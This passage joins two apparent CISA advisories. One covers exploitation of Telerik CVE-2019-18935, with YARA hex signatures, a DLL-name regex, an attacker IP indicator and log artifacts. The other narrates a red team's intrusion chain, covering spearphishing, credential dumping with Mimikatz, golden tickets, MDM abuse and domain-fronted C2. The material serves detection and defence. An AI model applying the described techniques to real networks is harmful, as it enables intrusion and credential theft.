= { 31 32 31 66 61 65 37 38 31 36 35 62 61 33 64 34 } $s8 = { 43 6F 6E 6E 65 63 74 53 74 61 67 69 6E 67 53 65 72 76 65 72 28 29 }         $s9 = { 53 74 61 67 69 6E 67 53 65 72 76 65 72 53 6F 63 6B 65 74 }         $s10 = { 2A 62 75 66 66 65 72 20 3D 20 28 75 6E 73 69 67 6E 65 } $s11 = { 28 2A 29 28 29 29 62 75 66 66 65 72 3B 0A 20 20 20 20 66 75 6E 63 28 29 3B } $s12 = { 75 70 6C 6F 61 64 28 70 61 79 6C 6F 61 64 28 54 65 6D 70 54 61 72 67 65 74 }         $s13 = { 36 32 36 31 36 66 33 37 37 35 36 66 32 66 }     condition: ($s0 and $s1 and $s2) or ($s3 and $s4 and $s5 and $s6 and $s7) or ($s8 and $s9 and $s10 and $s11) or ($s12 and $s13) } Log Collection, Retention, and Analysis CISA, FBI, and MS-ISAC recommend that organizations utilize a centralized log collection and monitoring capability, as well as implement or increase logging and forensic data retention. Longer retention policies improve the availability of data for forensic analysis and aid thorough identification of incident scope. Centralized log collection and monitoring allows for the discovery of webshell and other exploit activity. For example, organizations should monitor for external connections made from the IIS server to unknown external IP addresses. Logging may also be available—if enabled at the router or firewall—for any outbound connections initiated with PowerShell. Access- and security-focused firewall (e.g., Web Application Firewall [WAF]) logs can be collected and stored for use in both detection and forensic analysis activities. Organizations should use a WAF to guard against publicly known web application vulnerabilities, in addition to guarding against common web application attacks. Creation of Malicious DLLs CISA, FBI, and MS-ISAC recommend that organizations use process monitoring—which provides visibility into file system and application process activity—to detect suspicious executable files running from the C:\Windows\Temp\ directory. Process monitoring via Windows Event Code 4688 will detect the legitimate w3wp.exe process running suspicious DLL files and other anomalous child processes. Note: Enabling this event may inundate security event logging. Use centralized log collection to prevent log rollover, increase log retention and archiving, and/or enable command line event logging. Forensic analysis commonly identified the threat actors taking the following steps: Create one of the DLL files (C:\Windows\Temp\1665890187.8690152.dll) by process w3wp.exe PID 6484. Load the newly created DLL into a currently running IIS process, w3wp.exe PID 6484.  Make a TCP connection using w3wp.exe PID 6484 to 45.77.212[.]12 over port 443. Invoke C:\Windows\System32\vcruntime140.dll (Windows C runtime library) to execute payload. Steps 1 and 2 occur every time a malicious DLL file is created. In some cases, an ASP .NET temp file was created, but this may have indicated benign IIS server activity. Note: The Process ID (PID) used in this example is unique to this investigation and is not universal. IP address 45.77.212[.]12 correlates to TA1, but the pattern can be used as general practice to identify similar activity. Additional Searching for IIS Servers The following information was derived from artifact analysis and is provided to equip IT infrastructure defenders searching for similar activity on an IIS server. Several artifacts can be referenced to assist in determining if CVE-2019-18935 has been successfully exploited. File Type: DLL Location: - %SystemDrive%\Windows\Temp\ When this CVE is exploited, it uploads malicious DLL files to the C:\Windows\Temp\ directory. The malicious DLL file naming convention translates to the exact time the file was uploaded to the server. The time is represented in a series of digits, known as Unix Epoch time. The files observed during this investigation contained two sets of digits separated by a period (.) before the DLL extension (.dll). Example: 1667206973.2270932.dll Nearly all recovered files contain a series of 10 digits to the left of the period (.) and seven digits to the right. However, one file contained only five digits in the second set, which should be taken into consideration when writing regex patterns to search for the existence of these files. Example Regex: \d{10}\.\d{1,8}\.dll These numbers can be copied and translated from digits into readable language with the month, day, year, hour, minute, and seconds displayed. Log Type: IIS Location: - %SystemDrive%\inetpub\logs\LogFiles When investigating IIS logs, specific fields were searched for and captured during the time of each connection. If the Unix Epoch time signature has been translated from a DLL filename, specific logs can be searched based on that time. However, if the Unix Epoch time signature has not been translated, the following will still work, but may take longer for the query to run. The four most important fields to identify this traffic are noted in the following table. These descriptions are sourced directly from Microsoft.[6] Table 5: Four Fields Searched in IIS Logs General Name Field Name Description Method cs-method Requested action; for example, a GET method URI Stem cs-uri-stem Universal Resource Identifier (URI), or target, of the action URI Query cs-uri-query The query, if any, that the client was trying to perform; A URI query is necessary only for dynamic pages. Protocol Status sc-status Hypertext Transfer Protocol (HTTP) or File Transfer Protocol (FTP) status code Note: Depending on how logs are collected and stored, the field names may not be an exact match; this should be taken into consideration when constructing queries. When ingesting logs into security information and event management (SIEM), the final field names did not use a hyphen (-) but used an underscore (_). Example: cs_method instead of cs-method Artifacts: Table 6: Information Contained in Two Observed IIS Events Field Name Artifact cs-method POST >cs-uri-stem /Telerik.Web.UI.WebResource.axd cs-uri-query type=rau sc-status 200 and 302 When reviewing logs, two IIS events were observed with the same timestamp each time this CVE-2019-18935 was exploited. Both events contained the same information in the cs-method, cs-uri-stem, and cs-uri-query. One event had a sc-status of 200 and the other had a sc-status of 302. Log Type: Windows Event Application Logs Location: -%SystemDrive%\Windows\System32\winevt\logs\Application.evtx Kroll Artifact Parser and Extractor (KAPE), a forensic artifact collector and parser, was used to extract the Windows event logs from a backup image of the compromised IIS server. All field names refer to the labels provided via KAPE exports. The strings are of value and can be used to locate other artifacts if different tools are used. Note: The payload data in the following table has been shortened to only necessary strings to obscure and protect victim information. Table 7: Example Payload Data EventID Payload 1309 3005, An unhandled exception has occurred[*redacted*]w3wp.exe[*redacted*]InvalidCastException, Unable to cast object of type 'System.Configuration.Install.AssemblyInstaller' to type 'Telerik.Web.UI.IAsyncUploadConfiguration'.\n at Telerik.Web.UI.AsyncUploadHandler.GetConfiguration(String rawData)\n at Telerik.Web.UI.AsyncUploadHandler.EnsureSetup()\n at Telerik.Web.UI.AsyncUploadHandler.ProcessRequest(HttpContext context)\n at Telerik.Web.UI.HandlerRouter.ProcessHandler(String handlerKey, HttpContext context)\n at Telerik.Web.UI.WebResource.ProcessRequest(HttpContext context)\n at System.Web.HttpApplication.CallHandlerExecutionStep.System.Web.HttpApplication.IExecutionStep.Execute()\n at System.Web.HttpApplication.ExecuteStepImpl(IExecutionStep step)\n at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously)\n\n, [*redacted*]/Telerik.Web.UI.WebResource.axd?type=rau, /Telerik.Web.UI.WebResource.axd, [*redacted*], False, [*redacted*], 15, [*redacted*], False, at Telerik.Web.UI.AsyncUploadHandler.GetConfiguration(String rawData)\n at Telerik.Web.UI.AsyncUploadHandler.EnsureSetup()\n at Telerik.Web.UI.AsyncUploadHandler.ProcessRequest(HttpContext context)\n at Telerik.Web.UI.HandlerRouter.ProcessHandler(String handlerKey, HttpContext context)\n at Telerik.Web.UI.WebResource.ProcessRequest(HttpContext context)\n at System.Web.HttpApplication.CallHandlerExecutionStep.System.Web.HttpApplication.IExecutionStep.Execute()\n at System.Web.HttpApplication.ExecuteStepImpl(IExecutionStep step)\n at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously)\n","Binary":""}} Authoring organizations recommend looking for the following key strings in the payload: w3wp.exe: This is the parent process that executes the code inside the malicious DLLs. System.Configuration.Install.AssemblyInstaller: Figure 1 is from the creator’s GitHub repo,[7] where the string can be observed in the code. As presented by Bishop Fox and proven during authoring organizations’ investigation of IIS server logs, an exception does not mean that the exploit failed, but more likely that it executed successfully.[3] Figure 1: Threat Actor Assembly InstallerIf a Werfault crash report was written, Windows event application logs may contain evidence of this— even if the DLLs have been removed from the system as part of a cleanup effort by the threat actors. Table 8: Example Threat Actor Cleanup EventID ExecutableInfo MapDescription Payload 1000 w3wp.exe |1664175639.65719.dll |c:\windows\system32\inetsrv\w3wp.exe |C:\Windows\Temp\1664175639.65719.dll Application Error {"EventData":{"Data":"w3wp.exe, 8.5.9600.16384, 5215df96, 1664175639.65719.dll, 0.0.0.0, 63314d94, c00000fd, 00000000000016f8, 1708, 01d8d0a5f84af443, c:\\windows\\system32\\inetsrv\\w3wp.exe, C:\\Windows\\Temp\\1664175639.65719.dll, eed89eeb-3d68-11ed-817c-005056990ed7","Binary":""}} 1001 w3wp.exe |1664175639.65719.dll |C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_w3wp.exe |C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_w3wp.exe |C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_w3wp.exe Application Crash {"EventData":{"Data":"0, APPCRASH, Not available, 0, w3wp.exe, 8.5.9600.16384, 5215df96, 1664175639.65719.dll, 0.0.0.0, 63314d94, c00000fd, 00000000000016f8, \nC:\\Windows\\Temp\\WERE3F6.tmp.appcompat.txt\nC:\\Windows\\Temp\\WERE639.tmp.WERInternalMetadata.xml\nC:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\AppCrash_w3wp.exe_d538da447d49df5862c37684118d0c25c2eff_9e3fd63b_cab_0c3ee656\\memory.hdmp\nC:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\AppCrash_w3wp.exe_d538da447d49df5862c37684118d0c25c2eff_9e3fd63b_cab_0c3ee656\\triagedump.dmp, C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\AppCrash_w3wp.exe_d538da447d49df5862c37684118d0c25c2eff_9e3fd63b_cab_0c3ee656, 0, eed89eeb-3d68-11ed-817c-005056990ed7, 4","Binary":""}} The EventID field maps to Windows EventIDs for an easy filter. Users can leverage the Windows EventIDs to find malicious DLL with the Unix Epoch time-based name inside the C:\Windows\Temp\ directory. Depending how log analysis is performed, various filters can be determined. However, if regex is available, the example listed in Table 8 above can be reused to match the Unix Epoch timestamp convention to assist in filtering. Additional Analysis When evidence of malicious DLLs is found, reverse engineering will need to be conducted to fully understand what actions occur as the malicious files could do nearly anything. Leveraging Windows security event logs, as well as Windows PowerShell logs, may provide insight into what actions the DLLs are taking. CISA and authoring organizations recommend the following process: Convert any discovered malicious DLL timestamps to readable format. Export the Windows security event and PowerShell logs from the device. Default path: %SystemDrive%\Windows\System32\winevt\logs\Windows PowerShell Default path: %SystemDrive%\Windows\System32\winevt\logs\Security.evtx Filter based on identified timestamps. Search for new processes created via w3wp.exe in Windows security event logs (e.g., Windows EventID 4688 New Process created). Search for new PIDs from identified events. Investigate to determine if they spawned any other processes. Example: CMD.EXE launching PowerShell or running other commands such as nslookup or netstat. Note: This is not an exhaustive list. Search for EventID 600 in PowerShell logs. Trellix XDR Platform Searching If Trellix XDR Platform is deployed in an environment and a standard HX triage audit is completed in a timely manner of the suspected use of CVE-2019-18935, an organization can search for file write events from known web processes. This will identify the executables written by the web server process. CISA and authoring organizations specifically recommend searching for the following field value pair: Table 9: Field Value Pair for Searching Field Value Begins With TextAtLowestOffset MZ MITIGATIONS Note: These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections. Manage Vulnerabilities and Configurations Upgrade all instances of Telerik UI ASP.NET AJAX to the latest version after appropriate testing. Keep all software up to date and prioritize patching to known exploited vulnerabilities (KEVs). [CPG 5.1] Prioritize remediation of vulnerabilities on internet-facing systems. For additional guidance, see CISA Insights - Remediate Vulnerabilities for Internet-Accessible Systems. [CPG 5.1] Implement a patch management solution to ensure compliance with the latest security patches. A patch management solution that inventories all software running in addition to vulnerability scanning is recommended. Ensure vulnerability scanners are configured to scan a comprehensive scope of devices and locations. For example, as noted in the Technical Details section, the victim organization had the appropriate plugin for CVE-2019-18935, but the vulnerability went undetected due to the Telerik UI software being installed in a file path not typically scanned. To identify unpatched instances of software vulnerabilities, organizations using vulnerability scanners should be aware that all installations may not be considered “typical” and may require full file scans of web applications. Note: Vulnerability scanners may have limitations in detecting vulnerabilities, such as only being able to identify Windows Installer-installed applications, which was the case with this agency’s vulnerability scanner. The Telerik UI software was installed via a continuous integration (CI) and continuous delivery (CD) pipeline rather than the Windows Installer. This highlights the importance of using a comprehensive approach for vulnerability scanning that considers all potential installation methods and file paths. Validate output from patch management and vulnerability scanning solutions against running services to check for discrepancies and account for all services.  Segment Networks Based on Function Implement network segmentation to separate network segments based on role and functionality. Proper network segmentation significantly reduces the ability for threat actor lateral movement by controlling traffic flows between—and access to—various subnetworks. (See CISA’s Layering Network Security Through Segmentation infographic and the National Security Agency’s Segment Networks and Deploy Application-Aware Defenses.) [CPG 8.1] Isolate similar systems and implement micro-segmentation with granular access and policy restrictions to modernize cybersecurity and adopt zero trust principles for both network perimeter and internal devices. Logical and physical segmentation are critical to limiting and preventing lateral movement, privilege escalation, and exfiltration. Utilize access control lists (ACLs), hardened firewalls, and network monitoring devices to regulate, monitor, and audit cross-segment access and data transfers. Other Best Practice Mitigation Recommendations Implement phishing-resistant multifactor authentication (MFA) for as many services possible—particularly for webmail, virtual private networks (VPNs), accounts that access critical systems, and privileged accounts that manage backups. MFA can still be leveraged for secure access using a jump server—an asset placed between the external and internal networks that serves as an intermediary for access—to facilitate connections if assets do not have the capability to support MFA implementation. For additional guidance on secure MFA configurations, visit cisa.gov/mfa. [CPG 1.3] Monitor and analyze activity logs generated from Microsoft IIS and remote PowerShell. Collect access and security focused logs (IDS/IDPS, firewall, DLP, VPN) and ensure logs are securely stored for a specified duration informed by risk or pertinent regulatory guidance. [CPG 3.1, 3.2] Evaluate user permissions and maintain separate user accounts for all actions and activities not associated with the administrator role, e.g., for business email, web browsing, etc. All privileges should be reevaluated on a recurring basis to validate continued need for a given set of permissions. [CPG 1.5] Limit service accounts to the minimum permissions necessary to run services. CISA observed numerous error messages in network logs indicative of failed attempts to write files to additional directories or move laterally. Maintain a robust asset management policy through comprehensive documentation of assets, tracking current version information to maintain awareness of outdated software, and mapping assets to business and critical functions. Determine the need and functionality of assets that require public internet exposure. [CPG 2.3] VALIDATE SECURITY CONTROLS In addition to applying mitigations, CISA, FBI, and MS-ISAC recommend exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. CISA and co-sealers recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory. To get started: Select an ATT&CK technique described in this advisory (see Table 4). Align your security technologies against the selected technique. Test your technologies against the technique. Analyze your detection and prevention technologies’ performance. Repeat the process for all security technologies to obtain a set of comprehensive performance data. Tune your security program—including people, processes, and technologies—based on the data generated by this process. CISA, FBI, and MS-ISAC recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory. RESOURCES UNIX Timestamp Converter REFERENCES [1] Telerik: Exploiting .NET JavaScriptSerializer Deserialization (CVE-2019-18935) [2] ACSC Advisory 2020-004 [3] Bishop Fox CVE-2019-18935: Remote Code Execution via Insecure Deserialization in Telerik UI [4] Volexity Threat Research: XE Group [5] GitHub: Proof-of-Concept Exploit for CVE-2019-18935 [6] Microsoft: Configure Logging in IIS [7] GitHub: CVE-2019-18935 ACKNOWLEDGEMENTS Google’s Threat Analysis Group (TAG) contributed to this CSA. Please share your thoughts. We recently updated our anonymous Product Feedback Survey and we'd welcome your feedback.

SUMMARY The Cybersecurity and Infrastructure Security Agency (CISA) is releasing this Cybersecurity Advisory (CSA) detailing activity and key findings from a recent CISA red team assessment—in coordination with the assessed organization—to provide network defenders recommendations for improving their organization's cyber posture. Actions to take today to harden your local environment: Establish a security baseline of normal network activity; tune network and host-based appliances to detect anomalous behavior. Conduct regular assessments to ensure appropriate procedures are created and can be followed by security staff and end users. Enforce phishing-resistant MFA to the greatest extent possible. In 2022, CISA conducted a red team assessment (RTA) at the request of a large critical infrastructure organization with multiple geographically separated sites. The team gained persistent access to the organization’s network, moved laterally across the organization’s multiple geographically separated sites, and eventually gained access to systems adjacent to the organization’s sensitive business systems (SBSs). Multifactor authentication (MFA) prompts prevented the team from achieving access to one SBS, and the team was unable to complete its viable plan to compromise a second SBSs within the assessment period. Despite having a mature cyber posture, the organization did not detect the red team’s activity throughout the assessment, including when the team attempted to trigger a security response. CISA is releasing this CSA detailing the red team’s tactics, techniques, and procedures (TTPs) and key findings to provide network defenders of critical infrastructure organizations proactive steps to reduce the threat of similar activity from malicious cyber actors. This CSA highlights the importance of collecting and monitoring logs for unusual activity as well as continuous testing and exercises to ensure your organization’s environment is not vulnerable to compromise, regardless of the maturity of its cyber posture. CISA encourages critical infrastructure organizations to apply the recommendations in the Mitigations section of this CSA—including conduct regular testing within their security operations center—to ensure security processes and procedures are up to date, effective, and enable timely detection and mitigation of malicious activity. Download the PDF version of this report: CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks (PDF, 1.06 MB ) TECHNICAL DETAILS Note: This advisory uses the MITRE ATT&CK® for Enterprise framework, version 12. See the appendix for a table of the red team’s activity mapped to MITRE ATT&CK tactics and techniques. Introduction CISA has authority to, upon request, provide analyses, expertise, and other technical assistance to critical infrastructure owners and operators and provide operational and timely technical assistance to Federal and non-Federal entities with respect to cybersecurity risks. (See generally 6 U.S.C. §§ 652[c][5], 659[c][6].) After receiving a request for a red team assessment (RTA) from an organization and coordinating some high-level details of the engagement with certain personnel at the organization, CISA conducted the RTA over a three-month period in 2022. During RTAs, a CISA red team emulates cyber threat actors to assess an organization’s cyber detection and response capabilities. During Phase I, the red team attempts to gain and maintain persistent access to an organization’s enterprise network while avoiding detection and evading defenses. During Phase II, the red team attempts to trigger a security response from the organization’s people, processes, or technology. The “victim” for this assessment was a large organization with multiple geographically separated sites throughout the United States. For this assessment, the red team’s goal during Phase I was to gain access to certain sensitive business systems (SBSs). Phase I: Red Team Cyber Threat Activity Overview The organization’s network was segmented with both logical and geographical boundaries. CISA’s red team gained initial access to two organization workstations at separate sites via spearphishing emails. After gaining access and leveraging Active Directory (AD) data, the team gained persistent access to a third host via spearphishing emails. From that host, the team moved laterally to a misconfigured server, from which they compromised the domain controller (DC). They then used forged credentials to move to multiple hosts across different sites in the environment and eventually gained root access to all workstations connected to the organization’s mobile device management (MDM) server. The team used this root access to move laterally to SBS-connected workstations. However, a multifactor authentication (MFA) prompt prevented the team from achieving access to one SBS, and Phase I ended before the team could implement a seemingly viable plan to achieve access to a second SBS. Initial Access and Active Directory Discovery The CISA red team gained initial access [TA0001] to two workstations at geographically separated sites (Site 1 and Site 2) via spearphishing emails. The team first conducted open-source research [TA0043] to identify potential targets for spearphishing. Specifically, the team looked for email addresses [T1589.002] as well as names [T1589.003] that could be used to derive email addresses based on the team’s identification of the email naming scheme. The red team sent tailored spearphishing emails to seven targets using commercially available email platforms [T1585.002]. The team used the logging and tracking features of one of the platforms to analyze the organization’s email filtering defenses and confirm the emails had reached the target’s inbox. The team built a rapport with some targeted individuals through emails, eventually leading these individuals to accept a virtual meeting invite. The meeting invite took them to a red team-controlled domain [T1566.002] with a button, which, when clicked, downloaded a “malicious” ISO file [T1204]. After the download, another button appeared, which, when clicked, executed the file. Two of the seven targets responded to the phishing attempt, giving the red team access to a workstation at Site 1 (Workstation 1) and a workstation at Site 2. On Workstation 1, the team leveraged a modified SharpHound collector, ldapsearch, and command-line tool, dsquery, to query and scrape AD information, including AD users [T1087.002], computers [T1018], groups [T1069.002], access control lists (ACLs), organizational units (OU), and group policy objects (GPOs) [T1615]. Note: SharpHound is a BloodHound collector, an open-source AD reconnaissance tool. Bloodhound has multiple collectors that assist with information querying. There were 52 hosts in the AD that had Unconstrained Delegation enabled and a lastlogon timestamp within 30 days of the query. Hosts with Unconstrained Delegation enabled store Kerberos ticket-granting tickets (TGTs) of all users that have authenticated to that host. Many of these hosts, including a Site 1 SharePoint server, were Windows Server 2012R2. The default configuration of Windows Server 2012R2 allows unprivileged users to query group membership of local administrator groups. The red team queried parsed Bloodhound data for members of the SharePoint admin group and identified several standard user accounts with administrative access. The team initiated a second spearphishing campaign, similar to the first, to target these users. One user triggered the red team’s payload, which led to installation of a persistent beacon on the user’s workstation (Workstation 2), giving the team persistent access to Workstation 2. Lateral Movement, Credential Access, and Persistence The red team moved laterally [TA0008] from Workstation 2 to the Site 1 SharePoint server and had SYSTEM level access to the Site 1 SharePoint server, which had Unconstrained Delegation enabled. They used this access to obtain the cached credentials of all logged-in users—including the New Technology Local Area Network Manager (NTLM) hash for the SharePoint server account. To obtain the credentials, the team took a snapshot of lsass.exe [T1003.001] with a tool called nanodump, exported the output, and processed the output offline with Mimikatz. The team then exploited the Unconstrained Delegation misconfiguration to steal the DC’s TGT. They ran the DFSCoerce python script (DFSCoerce.py), which prompted DC authentication to the SharePoint server using the server’s NTLM hash. The team then deployed Rubeus to capture the incoming DC TGT [T1550.002], [T1557.001]. (DFSCoerce abuses Microsoft's Distributed File System [MS-DFSNM] protocol to relay authentication against an arbitrary server.[1]) The team then used the TGT to harvest advanced encryption standard (AES)-256 hashes via DCSync [T1003.006] for the krbtgt account and several privileged accounts—including domain admins, workstation admins, and a system center configuration management (SCCM) service account (SCCM Account 1). The team used the krbtgt account hash throughout the rest of their assessment to perform golden ticket attacks [T1558.001] in which they forged legitimate TGTs. The team also used the asktgt command to impersonate accounts they had credentials for by requesting account TGTs [T1550.003]. The team first impersonated the SCCM Account 1 and moved laterally to a Site 1 SCCM distribution point (DP) server (SCCM Server 1) that had direct network access to Workstation 2. The team then moved from SCCM Server 1 to a central SCCM server (SCCM Server 2) at a third site (Site 3). Specifically, the team: Queried the AD using Lightweight Directory Access Protocol (LDAP) for information about the network's sites and subnets [T1016]. This query revealed all organization sites and subnets broken down by classless inter-domain routing (CIDR) subnet and description. Used LDAP queries and domain name system (DNS) requests to identify recently active hosts. Listed existing network connections [T1049] on SCCM Server 1, which revealed an active Server Message Block (SMB) connection from SCCM Server 2. Attempted to move laterally to the SCCM Server 2 via AppDomain hijacking, but the HTTPS beacon failed to call back. Attempted to move laterally with an SMB beacon [T1021.002], which was successful. The team also moved from SCCM Server 1 to a Site 1 workstation (Workstation 3) that housed an active server administrator. The team impersonated an administrative service account via a golden ticket attack (from SCCM Server 1); the account had administrative privileges on Workstation 3. The user employed a KeePass password manager that the team was able to use to obtain passwords for other internal websites, a kernel-based virtual machine (KVM) server, virtual private network (VPN) endpoints, firewalls, and another KeePass database with credentials. The server administrator relied on a password manager, which stored credentials in a database file. The red team pulled the decryption key from memory using KeeThief and used it to unlock the database [T1555.005]. At the organization’s request, the red team confirmed that SCCM Server 2 provided access to the organization’s sites because firewall rules allowed SMB traffic to SCCM servers at all other sites. The team moved laterally from SCCM Server 2 to an SCCM DP server at Site 5 and from the SCCM Server 1 to hosts at two other sites (Sites 4 and 6). The team installed persistent beacons at each of these sites. Site 5 was broken into a private and a public subnet and only DCs were able to cross that boundary. To move between the subnets, the team moved through DCs. Specifically, the team moved from the Site 5 SCCM DP server to a public DC; and then they moved from the public DC to the private DC. The team was then able to move from the private DC to workstations in the private subnet. The team leveraged access available from SCCM 2 to move around the organization’s network for post-exploitation activities (See Post-Exploitation Activity section). See Figure 1 for a timeline of the red team’s initial access and lateral movement showing key access points. Figure 1: Red Team Cyber Threat Activity: Initial Access and Lateral MovementWhile traversing the network, the team varied their lateral movement techniques to evade detection and because the organization had non-uniform firewalls between the sites and within the sites (within the sites, firewalls were configured by subnet). The team’s primary methods to move between sites were AppDomainManager hijacking and dynamic-link library (DLL) hijacking [T1574.001]. In some instances, they used Windows Management Instrumentation (WMI) Event Subscriptions [T1546.003]. The team impersonated several accounts to evade detection while moving. When possible, the team remotely enumerated the local administrators group on target hosts to find a valid user account. This technique relies on anonymous SMB pipe binds [T1071], which are disabled by default starting with Windows Server 2016. In other cases, the team attempted to determine valid accounts based on group name and purpose. If the team had previously acquired the credentials, they used asktgt to impersonate the account. If the team did not have the credentials, they used the golden ticket attack to forge the account. Post-Exploitation Activity: Gaining Access to SBSs With persistent, deep access established across the organization’s networks and subnetworks, the red team began post-exploitation activities and attempted to access SBSs. Trusted agents of the organization tasked the team with gaining access to two specialized servers (SBS 1 and SBS 2). The team achieved root access to three SBS-adjacent workstations but was unable to move laterally to the SBS servers: Phase I ended before the team could implement a plan to move to SBS 1. An MFA prompt blocked the team from moving to SBS 2, and Phase I ended before they could implement potential workarounds. However, the team assesses that by using Secure Shell (SSH) session socket files (see below), they could have accessed any hosts available to the users whose workstations were compromised. Plan for Potential Access to SBS 1 Conducting open-source research [1591.001], the team identified that SBS 1 and 2 assets and associated management/upkeep staff were located at Sites 5 and 6, respectively. Adding previously collected AD data to this discovery, the team was able to identify a specific SBS 1 admin account. The team planned to use the organization’s mobile device management (MDM) software to move laterally to the SBS 1 administrator’s workstation and, from there, pivot to SBS 1 assets. The team identified the organization’s MDM vendor using open-source and AD information [T1590.006] and moved laterally to an MDM distribution point server at Site 5 (MDM DP 1). This server contained backups of the MDM MySQL database on its D: drive in the Backup directory. The backups included the encryption key needed to decrypt any encrypted values, such as SSH passwords [T1552]. The database backup identified both the user of the SBS 1 administrator account (USER 2) and the user’s workstation (Workstation 4), which the MDM software remotely administered. The team moved laterally to an MDM server (MDM 1) at Site 3, searched files on the server, and found plaintext credentials [T1552.001] to an application programming interface (API) user account stored in PowerShell scripts. The team attempted to leverage these credentials to browse to the web login page of the MDM vendor but were unable to do so because the website directed to an organization-controlled single-sign on (SSO) authentication page. The team gained root access to workstations connected to MDM 1—specifically, the team accessed Workstation 4—by: Selecting an MDM user from the plaintext credentials in PowerShell scripts on MDM 1. While in the MDM MySQL database, Elevating the selected MDM user’s account privileges to administrator privileges, and Modifying the user’s account by adding Create Policy and Delete Policy permissions [T1098], [T1548]. Creating a policy via the MDM API [T1106], which instructed Workstation 4 to download and execute a payload to give the team interactive access as root to the workstation. Verifying their interactive access. Resetting permissions back to their original state by removing the policy via the MDM API and removing Create Policy and Delete Policy and administrator permissions and from the MDM user’s account. While interacting with Workstation 4, the team found an open SSH socket file and a corresponding netstat connection to a host that the team identified as a bastion host from architecture documentation found on Workstation 4. The team planned to move from Workstation 4 to the bastion host to SBS 1. Note: A SSH socket file allows a user to open multiple SSH sessions through a single, already authenticated SSH connection without additional authentication. The team could not take advantage of the open SSH socket. Instead, they searched through SBS 1 architecture diagrams and documentation on Workstation 4. They found a security operations (SecOps) network diagram detailing the network boundaries between Site 5 SecOps on-premises systems, Site 5 non-SecOps on-premises systems, and Site 5 SecOps cloud infrastructure. The documentation listed the SecOps cloud infrastructure IP ranges [T1580]. These “trusted” IP addresses were a public /16 subnet; the team was able to request a public IP in that range from the same cloud provider, and Workstation 4 made successful outbound SSH connections to this cloud infrastructure. The team intended to use that connection to reverse tunnel traffic back to the workstation and then access the bastion host via the open SSH socket file. However, Phase 1 ended before they were able to implement this plan. Attempts to Access SBS 2 Conducting open-source research, the team identified an organizational branch [T1591] that likely had access to SBS 2. The team queried the AD to identify the branch’s users and administrators. The team gathered a list of potential accounts, from which they identified administrators, such as SYSTEMS ADMIN or DATA SYSTEMS ADMINISTRATOR, with technical roles. Using their access to the MDM MySQL database, the team queried potential targets to (1) determine the target’s last contact time with the MDM and (2) ensure any policy targeting the target’s workstation would run relatively quickly [T1596.005]. Using the same methodology as described by the steps in the Plan for Potential Access to SBS 1 section above, the team gained interactive root access to two Site 6 SBS 2-connected workstations: a software engineering workstation (Workstation 5) and a user administrator workstation (Workstation 6). The Workstation 5 user had bash history files with what appeared to be SSH passwords mistyped into the bash prompt and saved in bash history [T1552.003]. The team then attempted to authenticate to SBS 2 using a similar tunnel setup as described in the Access to SBS 1 section above and the potential credentials from the user’s bash history file. However, this attempt was unsuccessful for unknown reasons. On Workstation 6, the team found a .txt file containing plaintext credentials for the user. Using the pattern discovered in these credentials, the team was able to crack the user’s workstation account password [T1110.002]. The team also discovered potential passwords and SSH connection commands in the user’s bash history. Using a similar tunnel setup described above, the team attempted to log into SBS 2. However, a prompt for an MFA passcode blocked this attempt. See figure 2 for a timeline of the team’s post exploitation activity that includes key points of access. Figure 2: Red Team Cyber Threat Activity: Post ExploitationCommand and Control The team used third-party owned and operated infrastructure and services [T1583] throughout their assessment, including in certain cases for command and control (C2) [TA0011]. These included: Cobalt Strike and Merlin payloads for C2 throughout the assessment. Note: Merlin is a post-exploit tool that leverages HTTP protocols for C2 traffic. The team maintained multiple Cobalt Strike servers hosted by a cloud vendor. They configured each server with a different domain and used the servers for communication with compromised hosts. These servers retained all assessment data. Two commercially available cloud-computing platforms. The team used these platforms to create flexible and dynamic redirect servers to send traffic to the team’s Cobalt Strike servers [T1090.002]. Redirecting servers make it difficult for defenders to attribute assessment activities to the backend team servers. The redirectors used HTTPS reverse proxies to redirect C2 traffic between the target organization’s network and the Cobalt Strike team servers [T1071.002]. The team encrypted all data in transit [T1573] using encryption keys stored on team’s Cobalt Strike servers. A cloud service to rapidly change the IP address of the team’s redirecting servers in the event of detection and eradication. Content delivery network (CDN) services to further obfuscate some of the team’s C2 traffic. This technique leverages CDNs associated with high-reputation domains so that the malicious traffic appears to be directed towards a reputation domain but is actually redirected to the red team-controlled Cobalt Strike servers. The team used domain fronting [T1090.004] to disguise outbound traffic in order to diversify the domains with which the persistent beacons were communicating. This technique, which also leverages CDNs, allows the beacon to appear to connect to third-party domains, such as nytimes.com, when it is actually connecting to the team’s redirect server. Phase II: Red Team Measurable Events Activity The red team executed 13 measurable events designed to provoke a response from the people, processes, and technology defending the organization’s network. See Table 1 for a description of the events, the expected network defender activity, and the organization’s actual response. Table 1: Measurable Events Measurable Event Description MITRE ATT&CK Technique(s) Expected Detection Points Expected Network Defender Reactions Reported Reactions Internal Port Scan Launch scan from inside the network from a previously gained workstation to enumerate ports on target workstation, server, and domain controller system(s). Network Service Discovery [T1046] Network Monitoring and Analysis Tools Intrusion Detection or Prevention Systems Endpoint Protection Platform Detect target hosts and ports Identify associated scanning process Analyze scanning host once detected Develop response plan None   Comprehensive Active Directory and Host Enumeration Perform AD enumeration by querying all domain objects from the DC; and enumerating trust relationships within the AD Forest, user accounts, and current session information from every domain computer (Workstation and Server). Domain Trust Discovery [T1482] Account Discovery: Domain Account [T1087.002] System Owner/User Discovery [T1033] Remote System Discovery 